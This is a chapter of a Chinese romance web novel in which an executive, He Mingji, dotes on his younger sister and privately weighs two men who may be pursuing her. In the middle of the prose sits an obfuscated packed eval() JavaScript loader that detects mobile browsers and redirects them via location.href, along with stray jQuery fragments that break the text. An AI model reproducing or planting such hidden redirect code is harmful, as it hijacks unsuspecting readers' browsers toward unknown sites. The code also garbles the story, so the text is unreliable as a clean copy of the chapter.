一周的时间过得飞快,贺明霁停下手头的工作,轻轻握着手腕活动了几圈。表盘上,银色指针指向四点。
他从办公桌一侧拿起手机,解锁,点进置顶。
【贺明霁】:人呢。
语气略生硬。考虑到景澄仍处于反复无常的叛逆期,他又补充。
【贺明霁】:再不回来,冰淇淋又要化了,妹妹。
没有回复。
一周前景澄还在研究让咪咪学会巡回,前天她改了主意,在开发二部申请了一个临时工位,和自己发誓“绝不会影响大家伙儿工作”。
贺明霁不需要这种誓。
他等待着回复,忽想起大学时兼修过的商学院课程,市场营销学的老师向他们介绍“巴德尔·迈因霍夫现象”。
这一现象也被称为频率错觉,即当人们首次注意到某个事物后,会感觉这个事物开始频繁出现,就好像无处不在。但事实上,它出现频率并没有增加,只是因为人们注意到了,所以才会感觉它变得频繁。
贺明霁并不是从任何一件商品上体会到这一心理效应,也不是创业后自行体悟。
在他自己还是个孩子时,景澄同样是个小不点。西双版纳万物丰饶,贺明霁首先认识的新生物就是“妹妹”。
注意到了,便觉得她无处不在:
窜树上的妹妹。
被狗撵着跑(害他也被咬)的妹妹。
葬礼上咽下眼泪的妹妹。
对生理期如临大敌的妹妹。
看不透男同学诡计的妹妹。
……
贺明霁不热衷复盘既往人生,但潜意识里,“景澄”确实就是他最关注的唯一坐标。
和父亲关系不亲近,母亲则有她热爱并要奋斗一生的事业,他关注的天平倾向何处简直无需思考。
因此,当景澄从办公室消失片刻,“无处不在”就像2020年的某个深夜般立刻出现漏洞。
屏幕上端,灵动岛一片漆黑,仿佛意识中的漏洞开始具象化了。
【对方正在输入中……】
【景澄】:照片.jpg
【景澄】:我在吃了~将将将!生姜折耳根口味的冰淇淋!
【景澄】:哥哥,你还记得之前研究所的小芳姐会给我们做凉拌折耳根吗?也会放生姜~
贺明霁的眉头下意识皱了起来,感知到清晰的难耐,不过并不是因为他吃不惯折耳根。
他伸手,摸索了下,从眼角取下一缕猫毛。
咪咪蹲在书架上,歪着头看他:“喵嗷?”
贺明霁温声:“不是对你有意见,小猫。”
他抽出张湿巾擦手,顺带将猫毛也裹带走。
生姜折耳根的冰淇淋勉强算眉清目秀,就是照片一角,还有个刺眼的红毛。
合上手机,贺明霁独自乘电梯下楼。他下意识地站到了右侧,镜面金属仍然光洁,映着他一个人的倒影。
空中餐吧,贺明霁如常,只打算给自己拿杯咖啡。
景澄吐槽他修仙,面对精心挑选的食物总是无动于衷,一日三餐都精准控制碳水摄入。不过,下午茶是员工福利,他要是在这吃得比李瑜还欢乐,福利就会被扭曲风味,虽然贺明霁自忖不算难相处的上司,但这方面高位者最忌讳自作多情。
“贺总,今天景澄怎么没来。”李瑜端着餐盘四处分发小蛋糕,见贺明霁来了,不由得出声关切。
贺明霁看了眼李瑜,和助理汇报妹妹的行程:“在开发二部吃折耳根冰淇淋。”
李瑜的脸迅速扭曲:“梁翊合那种把豆汁儿当水喝的奇葩在我们南方就是异端,一定是他的错!”
贺明霁若有所思:“确实。”
李瑜放下餐盘。
“正好我五点要去营销那边找Cythia,会路过研发二部。”他拾起精挑细选过的冰淇淋,“顺便带点儿给我的知音,让她知道什么味道才是正道!”
我的?
今天的浅烘依然风味怪异,贺明霁考虑是否要提醒行政。
李瑜在这刻忽被打工之神附身,他捧着三个冰淇淋,谦卑请教:“对了贺总,景澄小姐喜欢哪个口味的?”
贺明霁微垂着眼,目光扫过助理真诚的脸庞。
景澄的一大优点是不挑食,这点与他截然相反。
他道:“都给她拿上吧。除了,”一顿,旋即很快完成思索,“这杯有苹果酱的。”
“好嘞。”李瑜手脚麻利,打包盒蹭蹭扫荡。
有一杯冰淇淋就这么被单独剩下。
淡黄的苹果果酱浇在了雪顶上,鲜红的苹果糖则切成了均匀的小块,裹着点点洁白的糖霜。
这次,还会是酸的吗?
贺明霁伸手,手指尖已经碰到了潮湿冰冷的杯壁,他搭着眼睫,短暂地停顿了一两秒,然后,勾起一抹湿润的水痕。
贺明霁的手安静地垂回到身侧,他悄悄并拢了拇指和无名指,
碾磨、打转,水痕来不及包裹、淌过,很快就变得温热、干涸。
咖啡又没有喝完,他比平时离开得更早,将餐吧留给了秘书办的同事们。
李瑜甚至还如只蜜蜂般在勤劳地穿梭着。
回到办公室,贺明霁没有立刻进入工作状态。
尽管只喝了一点儿咖啡,但神经格外亢奋。贺明霁感觉脑海里都是跳跃着的思绪。
这感觉并不好受,他先为自己接了杯温水。
咖啡/因的代谢没那么快,文件都在电脑上,iPad的屏幕也亮了起来。贺明霁错开眼神,他拔出钢笔的笔帽,将笔记本随意翻开到某页
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188781|164776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空白。
他写:
李瑜。梁翊合。
太阳穴跳得慢了些,因为他找到了精神上的症结。
挨个画圈,在他们的名字上又写出“景澄”。
由羊和金毛可证得,妹妹的桃花相当灿烂——她的异性缘实际可以追溯到高中那个装作低血糖晕倒的呆瓜男同学身上。
不同的是,高中时代的桃花可以被他粗暴掐去,如今景澄已成年,聪慧,独立,游刃有余。
已恋爱过。
他不必再响应教育局的号召从中作梗了。
贺明霁先审视起了李瑜。
这条鱼脾气很好,算是老好人,心细,责任感强,工作能力也很强。
就是——对于景澄来说年纪太大了点。四舍五入不是差十岁吗,男人相对女人老得更快,由此可得,十岁的年龄差可以当二十岁看。
一个大自己妹妹二十岁的男人。
谁能容忍,妹妹半生的幸福提前埋进黄土。
“抱歉,李瑜,我会给你再加一份商业养老保险的。”贺明霁松了口气,直接划掉这条老鲤鱼。
他转而“看向”梁翊合。
二十三岁的傻红甜。
年纪倒没差多少。
这是由于梁小鸟跳级、竞赛、提前毕业的缘故,但妹妹按部就班的升学,高中毕业又去了国外,和梁翊合应该没什么校园共同话题。
至于家庭。
梁翊合母亲是京市某副厅级干部,梁父则是京戏教授,他们感情颇好。
没得挑剔。贺明霁垂着眼继续思索。
整个梁家却不是什么气氛融洽的家族。
钢笔不规律地敲在纸面上,贺明霁无意八卦,梁家小叔娶了自己侄子的未婚妻,叔侄矛盾人尽皆知。
乌糟糟的家族氛围显然不适合咪咪小朋友启蒙,孟母在古代都知道要三迁,遑论公元2022年。
再者景澄南方长大,适应不来京市的气候和饮食。
不合适。
也划掉。
全都不合适。
全都都划掉。
当钢笔的墨痕洇染开,彻底盖住他们的名字时,贺明霁感觉到咖啡/因的代谢在此刻终于完成,他又恢复了冷静的情绪。
说来说去,为什么要拿自己的妹妹去和别人匹配。
这种事情实际上都需尊重景澄的选择。
如果对方不错,他就祝福,准备贺礼和律师。
如果对方不合适,就要练习如何潇洒甩出支票,让对方随便填有多远滚多远。
如果对方太差劲——且不说感情你情我愿。贺明霁淡淡地想,他充其量只能把对方灌进水泥然后沉入长江。
站在哥哥的立场,可以做的就只有这些力所能及的小事了,不是吗?